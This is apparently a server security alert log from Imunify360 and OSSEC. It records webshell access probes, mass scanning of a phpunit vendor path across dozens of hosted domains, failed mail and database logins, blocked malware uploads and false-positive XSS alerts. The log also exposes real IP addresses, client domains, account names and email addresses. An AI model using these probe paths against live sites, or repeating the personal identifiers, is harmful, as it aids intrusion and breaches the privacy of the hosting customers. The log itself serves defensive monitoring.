name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/plug/sms/img/img/contact-us.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.47.33
country_id: 953987
description:
Jan 21 17:18:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.47.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>posted assembly orders</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>do sales order for sherry thomas</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>checking &amp; do offset customer aging</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>do sales order barkat niaga for sam</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"font-size: 12.0pt; line-height: 115%; font-family: 'aptos',sans-serif; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: dengxian; mso-fareast-theme-font: minor-fareast; mso-hansi-theme-font: minor-latin; mso-bidi-font-family: 'times new roman'; mso-bidi-theme-font: minor-bidi; mso-ansi-language: en-us; mso-fareast-language: zh-cn; mso-bidi-language: ar-sa;\">&nbsp; do posting sales invoices &amp; filing sales invoice</span></li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 112.94.188.246
country_id: 1814991
description:
Jan 21 17:18:40 sv3 pure-ftpd[3196597]: (?@112.94.188.246) [INFO] New connection from 112.94.188.246


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 150.255.94.220
country_id: 1814991
description:
Jan 21 17:18:43 sv3 pure-ftpd[3196629]: (?@150.255.94.220) [INFO] New connection from 150.255.94.220


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 17:20:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.89
country_id: 953987
description:
Jan 21 17:21:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li>open new vendor</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">payment to supplies (do bank transfer - save as draft want payment)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">check &amp; print supplier invoice</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice and staff claim - purchase invoices in software pending check<span style=\"font-size: 12.0pt; font-family: 'aptos',sans-serif; mso-fareast-font-family: aptos; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: aptos; mso-font-kerning: 0pt; mso-ligatures: none; mso-ansi-language: en-my; mso-fareast-language: en-my; mso-bidi-language: ar-sa;\">&nbsp;</span></li>\r\n</ul>||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 17:22:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53433: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 17:22:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12802: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.75.233.131
country_id: 1733045
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/test/tools/vis.py HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.142
country_id: 798544
description:
Jan 21 17:23:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.142
country_id: 798544
description:
Jan 21 17:24:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 17:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21508: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 17:24:24 H=([45.144.212.242]) [45.144.212.242]:56814 F=<no_reply@admin.com> rejected RCPT <astbki@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.132
country_id: 690791
description:
2026-01-21 17:24:32 H=([77.83.39.132]) [77.83.39.132]:61118 F=<powerbiz@emirates.net.ae> rejected RCPT <mustapa@astlog.com.my>: SPF: 77.83.39.132 is not allowed to send mail from emirates.net.ae


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.170.240
country_id: 3469034
description:
Jan 21 17:25:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.170.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 17:26:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jan 21 17:27:35 sv3.nocser.net cpanel_fileman_hook[3210244]: 0 BAILOUT malware detected when save 'disclaimer.htm' in /home/oxboldc/public_html for user oxboldc


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-21 17:27:35 H=(localhost.localdomain) [78.153.140.207]:38058 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.0.210
country_id: 6252001
domain: www.nobledec.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:17-27.65.111.0.210||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jan 21 17:27:58 sv3.nocser.net cpanel_fileman_hook[3210756]: 0 BAILOUT malware detected when save 'disclaimer.htm' in /home/oxboldc/public_html for user oxboldc


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.232.27.206
country_id: 2017370
description:
2026-01-21 17:28:40 dovecot_login authenticator failed for H=(dynamicip-188-232-27-206.pppoe.omsk.ertelecom.ru) [188.232.27.206]:58832: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jan 21 17:29:03 sv3.nocser.net cpanel_fileman_hook[3212047]: 0 BAILOUT malware detected when upload 'disclaimer.htm' in /home/oxboldc/public_html for user oxboldc


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.243.234.23
country_id: 6252001
description:
Jan 21 17:30:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.243.234.23 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.243.234.23
country_id: 6252001
description:
2026-01-21 17:30:29 dovecot_login authenticator failed for H=c-73-243-234-23.hsd1.co.comcast.net [73.243.234.23]:56232: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 17:30:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.170.75
country_id: 953987
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2021/04/Untitled-7-300x225.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 66.132.153.112
country_id: 6252001
description:
2026-01-21 17:32:40 483444 [Warning] Aborted connection 483444 to db: 'unconnected' user: 'unauthenticated' host: '66.132.153.112' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.190.104.89
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/from/16/263/1673226 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.132.115.5
country_id: 6252001
description:
2026-01-21 17:33:21 dovecot_login authenticator failed for H=(localhost) [45.132.115.5]:48154: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 17:34:53 sv3 pure-ftpd[3220904]: (?@175.143.202.161) [INFO] New connection from 175.143.202.161


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.250.13
country_id: 1269750
domain: medinova.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14541.medinova.com.my||ServerName:medinova.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2d471d9d228ea33f314cadec43b57cc562524040||Title:0x44c3c0e2||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 17:34:59 sv3 pure-ftpd[3220996]: (?@175.143.202.161) [INFO] New connection from 175.143.202.161


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.6.63
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=30821514526359 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 17:35:01 sv3 pure-ftpd[3220996]: (oxboldc@175.143.202.161) [NOTICE] /home/oxboldc//public_html/becomeonedaypilot-cessna.htm uploaded  (142315 bytes, 3371.32KB/sec)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.219
country_id: 2921044
domain: euratech.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:euratechcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.219
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:agsaintifik||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.220
country_id: 2921044
domain: astlog.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:astlogc||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.202
country_id: 2921044
domain: indfinitydesign.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:indfinitydesign||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.200
country_id: 2921044
domain: hmz.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:hmzcom||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.190
country_id: 6252001
description:
Jan 21 17:36:39 sv3 pure-ftpd[3222486]: (?@130.12.182.190) [INFO] New connection from 130.12.182.190


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 17:36:06 sv3 pure-ftpd[3220996]: (oxboldc@175.143.202.161) [NOTICE] /home/oxboldc//public_html/becomeonedaypilot-cessna.htm uploaded  (142134 bytes, 5162.41KB/sec)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.203
country_id: 2921044
domain: imax.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:imaxcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.194
country_id: 2921044
domain: agpc.org.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:agpcorg||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.185
country_id: 2921044
domain: nobledec.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:nobledec||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.190
country_id: 2921044
domain: sutsb.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:sutsbcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.224
country_id: 2921044
domain: achieversvisionacademy.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:achieversvisiona||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.211
country_id: 2921044
domain: nexuscollection.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:nexus2019||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.189
country_id: 2921044
domain: symphony-led.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:symphonyadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.208
country_id: 2921044
domain: autogreastar.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:autogrea||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.137.99.79
country_id: 798549
description:
2026-01-21 17:37:17 dovecot_plain authenticator failed for H=(42.0.28.25) [45.137.99.79]:55790: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.215
country_id: 2921044
domain: garudabay.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:garudabay||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.191
country_id: 2921044
domain: mkmetal.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:mkmetalc||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.216
country_id: 2921044
domain: ahfengineering.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:ahfe3522||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.205
country_id: 2921044
domain: egbwawasan.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:egbwawasancom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.206
country_id: 2921044
domain: nmahir.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:nmahirc||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.194
country_id: 2921044
domain: masaakisb.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:masaakisb||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.209
country_id: 2921044
domain: oxbold.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:oxboldc||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.188.220.163
country_id: 3895114
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/god/18/1800744 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.214
country_id: 2921044
domain: tptec.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:tptecadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.196
country_id: 2921044
domain: tujusetia.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:tuju7822||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 17:38:01 H=([46.151.182.48]) [46.151.182.48]:49441 F=<mailerd@ktlog.com.my> rejected RCPT <cklee@ktlog.com.my>: smtp auth required


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.188
country_id: 2921044
domain: aircarbonic.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:aircarbonicadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.211
country_id: 2921044
domain: fasterget.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:fastg||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.219
country_id: 2921044
domain: cordage.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:admincordage||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.210
country_id: 2921044
domain: langkawiconstructions.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:lkwconstructions||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.182
country_id: 2921044
domain: evergrown.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:evergrown||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.223
country_id: 2921044
domain: chokeeint.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:chokeeintcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.216
country_id: 2921044
domain: visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:visoftcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.185
country_id: 2921044
domain: medinova.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:medinovacom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.185
country_id: 2921044
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:pftfood||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.192
country_id: 2921044
domain: lnlfireprotection.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:lnlfireprotectio||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.186
country_id: 2921044
domain: chs.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:chscommy||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.213
country_id: 2921044
domain: rcct.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:rcct||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.66
country_id: 226074
description:
Jan 21 17:38:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.201
country_id: 2921044
domain: eminent.st
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:eminent||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.66
country_id: 226074
description:
Jan 21 17:39:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.164
country_id: 3469034
description:
Jan 21 17:39:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.164 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.191
country_id: 2921044
domain: webhosting2u.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:webhost||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.191.114
country_id: 1269750
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/kossanvisitor.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.214
country_id: 2921044
domain: vmsmotorsports.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:vmsadmin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.95
country_id: 3469034
description:
Jan 21 17:39:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.209
country_id: 2921044
domain: ajresorts.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:ajresortscom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.190
country_id: 2921044
domain: tst-ma.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:tstmacom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.227
country_id: 2921044
domain: empirelog.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:empi7862||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.86.202.208
country_id: 2921044
domain: fkr.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:fkrcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.186
country_id: 2921044
domain: mckd.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:mckd||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.217.249.202
country_id: 2921044
domain: ajplantations.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:ajpl3424||


